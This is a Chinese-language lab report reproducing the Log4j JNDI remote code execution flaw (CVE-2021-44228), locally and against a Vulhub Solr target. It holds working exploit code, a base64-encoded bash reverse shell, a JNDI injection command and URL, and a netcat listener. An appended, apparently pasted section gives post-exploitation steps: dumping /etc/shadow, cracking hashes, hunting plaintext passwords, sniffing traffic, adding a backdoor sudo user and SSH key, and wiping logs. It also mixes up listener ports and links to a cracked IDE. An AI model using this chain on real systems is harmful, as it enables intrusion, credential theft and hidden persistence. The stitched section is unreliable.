概述:本实验将对CVE-2021-44228 Apache Log4j远程代码执行漏洞进行探究。本报告将详细记录实验内容。报告首先对漏洞情况作简要介绍,之后说明漏洞原理并结合靶场进行复现,最后记录实验思考与感悟。希望通过本实验可以对Apache Log4j做一定了解,理解该漏洞原理并掌握其利用方法。
1. 漏洞介绍
2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过。2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码
Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
2. 本地漏洞复现
2.1 JDK安装
由于复现的要求,JDK版本不能太高,我这里选择的是jdk-8u112-windows,网上有很多参考教程可以帮助完成环境配置
2.2 IDE准备
涉及到java编程,使用Intellij IDEA进行编程,考虑到漏洞爆出的时间,不能使用最新的2022版本,因此下载2021版本进行使用,可参考教程如下:
下载 安装 IDEA 2021 破解版 ,含idea安装包和破解补丁 - codeing123 - 博客园
2.3 服务端搭建
2.3.1 创建项目
新建项目
选择java项目
起好名字之后完成
2.3.2 main
新建java文件
写入服务器代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
public class log4j_server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(12345);
Reference reference = new Reference("swswssw", "swswssw",
"http://127.0.0.1:8080/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("remote", wrapper);
}
}
解:
registry这是一个注册表 它的端口是12345,就是说这个服务可以通过12345这样的一个端口来请求。
注册表中的信息我们在这里就指定一个reference这个对象,给它赋予的类的地址是swswssw,我们可以通过这个地址来请求这个类,我们把刚刚得到的对象进行封装,封装之后我们起个名字remote,通过这种方式,我们可以以remote这个名字找到刚刚封装好的对象wrapper,
我们在这里指定了这样一个类,以及实现类。
2.3.3 恶意类挂载
上面的代码中我们指定了外部引用对象swswssw,但是其并没有实现。为了展现漏洞利用效果,我们将swswssw实现如下:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class swswssw implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(“小心你的计算器!");
Runtime.getRuntime().exec("calc");
return null;
}
}
我们的恶意挂载类
需要我们注意的是,这个javac文件需要我们去编译,编译之后,就可以得到一个class文件
其作用也十分明显,可以执行命令运行计算器程序
找到该文件所在目录,将该类编译成class文件挂载到web页面上
回到IDEA可以看到生成的class文件
2.4 客户端攻击
2.4.1 log4j xml配置
新建项目,选择Maven类型
在pom.xml文件中添加以下代码:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.9.0</version>
</dependency>
</dependencies>
其中注意version一定是2.14.0之前的,之后的版本log4j的这个漏洞被补上了
2.4.2 JNDI注入攻击
新建java类
写客户端主函数
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class log4j_client {
public static void main(String[] args) throws NamingException {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
InitialContext initialContext=new InitialContext();
initialContext.lookup("rmi://127.0.0.1:12345/remote");
}
}
接下来进入我们的客户端,客户端在新建项目的时候,我们新建一个maven项目,建好之后我们进行log4j配置,我们要保证版本在2.14.0以下,因为之后的版本都修复过了,在这里大家可以自己在maven官网上查看对应的依赖,我使用的是2.9.0版本,找到之后我们粘贴在pom.xml文件里面,注意要加上dependcies,下面我们看一下客户端的代码,首先就是初始化环境,然后我们通过lookup方式来请求这个我们刚刚得到的对象,
首先我们使用Python启动一个web服务,启动成功后我们启动服务端程序,之后我们再启动客户端程序,可以看到我们把服务端的这样一个类执行之后,在客户端的机器上实现了一个执行,这很可怕,如果我们的恶意挂载类里面写的是访问服务器的root权限,后果不堪设想,
现在我们来进行源码分析看看,我们进入debug模式,f7进入lookup函数我们看看她是怎么工作的,f7注入
进入之后我们看到又有一个lookup函数,我们继续注入,进入到genericURLcontext这个文件里面91行,我们可以发现它的参数是我们之前设定的,通过getrootURLcontext这个函数将值赋值给var2,我们现在看看var2里面有什么,var2基本上是把我们刚刚的信息给拆解了 我们通过12345端口与注册中心联系,host是127.0.0.1,随后我们继续跟进registrycontext,93行我们发现这里比较关键的是最后面的stub这样的一个注册信息,这其实就是注册中心的一个存根,我们将这样一个信息赋值给var2,,下面接着100行我们看到一个decodeobject函数,我们在下面找到这个函数343行,,这里其实就是远程对象的一个调用,下面这是一个返回值。
返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。
这样函数返回值赋予clas,其为swswssw;返回函数调用它的newInstance(),从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。
之前我们把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。
2.4.3 实施攻击
使用python在服务器开启web服务
python -m http.server 8080
运行服务端程序
服务端运行成功:
运行客户端程序
漏洞复现成功
同时命令行可以看到请求成功的信息
3. 漏洞原理分析
3.1 前置知识
3.1.1 RMI
RMI ( Remote Method Invocation , 远程方法调用 ) 能够让在某个 Java虚拟机 上的对象像调用本地对象一样调用另一个 Java虚拟机 中的对象上的方法 , 这两个 Java虚拟机 可以是运行在同一台计算机上的不同进程, 也可以是运行在网络中不同的计算机上 .
另外,需要知道注册表的概念,说简单一点就是,服务端那里有一个对象,客户端想要调用服务端里的那个对象的方法,而注册表就像一个中间人,服务端会将自己提供的服务的实现类交给这个中间人 , 并公开一个名称 . 任何客户端都可以通过公开的名称找到这个实现类 , 并调用它。
3.1.2 JNDI
JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。
既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。
而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。
而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。
而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。
总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
3.1.3 命令执行(RCE)与反序列化
RCE 漏洞将允许恶意行为人在远程计算机上执行自己选择的任何代码。
动态代码执行往往是导致 RCE 的最常见攻击载体。大多数编程语言都有某种方式使用代码生成代码并当场执行代码。恶意第三方可以轻松地滥用它来获取 RCE 功能。
Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中,Java反序列化是指把字节序列恢复为Java对象的过程。Java反序列化是间接动态代码执行的很好的例子。
3.2 动态调试分析
从客户端的lookup函数出发
F7进入寻找其定义
再按F7找到函数定义
这里的var2基本就是得到主机,端口,还有绑定的对象的名字
跟进var3.lookup,可以看到lookup找到了注册中心的stub数据
跟进decodeObject函数,发现了加载了远程Reference绑定的恶意对象。我们的远程对象是ReferenceWrapper类的对象,也就是我们在Server构造的对象Reference reference = new Reference("swswssw", "swswssw", "http://127.0.0.1:8080/");
跟进返回的getObjectInstance函数
持续步过,发现注册中心找到了恶意类swswssw,并赋值给ref
ref不为空,进入关键函数getObjectFactoryFromReference
先直接加载类clas = helper.loadClass(factoryName);
,这里是正常的本地类加载,因为找不到swswssw类所以会加载失败
上面分析没有问题,找不到swswssw所以clas为空
我们注意到codebase,其值就是远程URL
跟进此时的类加载器,因为指定了codebase,这次用的类加载器将是URLClassLoader
返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。
这样函数返回值赋予class,其为swswssw;返回函数调用它的newInstance()
,从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。
这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。
此时开始执行恶意类中的恶意代码,首先打印
然后执行命令
3.3 漏洞核心原理解读
在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。
调用者,我们称之为客户端,被调用者,我们则称之为服务端。
RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需LocateRegistry.createRegistry(12345);
一行代码即可完成。
在服务器启动的时候,就启动了一个RMI的注册中心,接着把main主类暴露并注册到RMI注册中心,其中存储着主类的stub数据,包含有其所在服务器的ip和port。在客户端启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是服务端中main实现暴露的ip和port,最后发起RMI请求,RMI后,服务端把序列化数据返回给客户端,客户端对其反序列化后输出。
根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在客户端 lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过服务器 bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当客户端 lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在客户端lookup的时候实现加载远程恶意class实现RCE。
4. 靶场漏洞实战
4.1 docker环境配置
之后的搭建过程中会出现缺少docker的问题,因此先搭建docker系统服务
根据提示仅需要一条命令即可
sudo apt install docker.io
apt install docker-compose
4.2 靶场环境配置
下载vulhub
# Download project
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
进入需要开启的漏洞路径
# 进入需要开启的漏洞路径
cd vulhub-master/log4j/CVE-2021-44228
自动完成包括构建镜像,(重新)创建服务,启动服务,并关联服务相关容器
docker-compose up -d
我们查看一下他的端口号
访问 http://127.0.0.1:8983/solr/#/
靶场搭建成功
4.3 工具下载
用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:
Releases · welk1n/JNDI-Injection-Exploit · GitHub
放到我们的主目录下
4.4 漏洞利用过程
首先我们构造反弹shell用到的命令:
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
这里我直接用的当前虚拟机的ip,端口号随便输一个6666,反弹shell需要经过编码,这里我给大家提供一个直接编写payload的工具
Runtime.exec Payload Generater | AresX's Blog
加密完毕后把结果复制下来,构造payload,输入如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjEzMy84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.133"
这里参考的是工具使用教程
运行后显示
可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入。 首先肯定要有一个注入点,我们可以发现/solr/admin/cores?
这里有个参数可以传。
在注入之前另起一个终端,监控刚刚的那个端口,这里是8888:
nc -lvnp 6666
然后就回到刚才的页面,构造url:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.16.133:1389/6wr7yd}
工具注入处终端可以看到,网页被重定向到了我们的恶意类地址:
回到端口监测处,看到反弹的shell
查看权限,拿到root权限
1. 获取系统用户名
当前用户
使用以下命令查看当前运行进程的用户名:
bash
whoami
所有用户
攻击者可能尝试读取系统的用户列表:
bash
cat /etc/passwd
/etc/passwd
文件包含系统中所有用户的信息,但不包含密码。- 示例输出:
ruby
root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:User:/home/user:/bin/bash
-
- 第一列是用户名。
- 第二列的
x
表示密码存储在/etc/shadow
文件中。
2. 获取密码或密码哈希
a. 检查 /etc/shadow
文件
如果攻击者有高权限(如 root),可以尝试读取 /etc/shadow
文件,该文件包含加密后的密码:
bash
cat /etc/shadow
- 示例内容:
swift
root:$6$abcdef$encryptedpassword:19000:0:99999:7:::
user:$6$123456$encryptedpassword:19000:0:99999:7:::
-
$6$
表示使用了 SHA-512 哈希算法。encryptedpassword
是加密后的密码哈希。
- 攻击者可以将密码哈希导出并使用工具(如 John the Ripper 或 Hashcat)进行破解。
b. 使用工具提取密码
- 暴力破解或凭证转储工具:
-
- 工具如 hashcat、John the Ripper 用于破解密码哈希。
- 例如:
bash
john --wordlist=/path/to/wordlist /path/to/shadow-hashes
3. 搜索系统中的明文密码
攻击者可能在文件系统中搜索敏感信息(如密码、密钥等):
搜索关键字
bash
grep -r "password" /home 2>/dev/null
搜索敏感文件
攻击者可能寻找配置文件或备份文件中硬编码的密码:
bash
find / -name "*.conf" 2>/dev/null
find / -name "*.log" 2>/dev/null
find / -name "*.bak" 2>/dev/null
检查环境变量
有时,环境变量中可能包含敏感信息:
bash
env | grep -i password
4. 网络流量窃听
攻击者可能尝试监听网络流量,捕获未加密的登录信息或敏感数据:
- 安装并运行 tcpdump:
bash
tcpdump -i eth0 -w capture.pcap
- 分析流量文件: 将
capture.pcap
文件下载到攻击者的系统,用工具(如 Wireshark)进行分析。
5. 部署持久化后门
攻击者可能部署后门以维持访问权限:
添加新用户
创建一个新用户并赋予管理员权限:
bash
sudo useradd attacker
sudo passwd attacker
sudo usermod -aG sudo attacker
修改 SSH 配置
攻击者可以添加自己的公钥到 SSH 配置中:
bash
mkdir -p ~/.ssh
echo "攻击者的公钥" >> ~/.ssh/authorized_keys
6. 清理操作痕迹
攻击者可能会清理日志以隐藏自己的活动:
bash
echo "" > /var/log/auth.log
history -c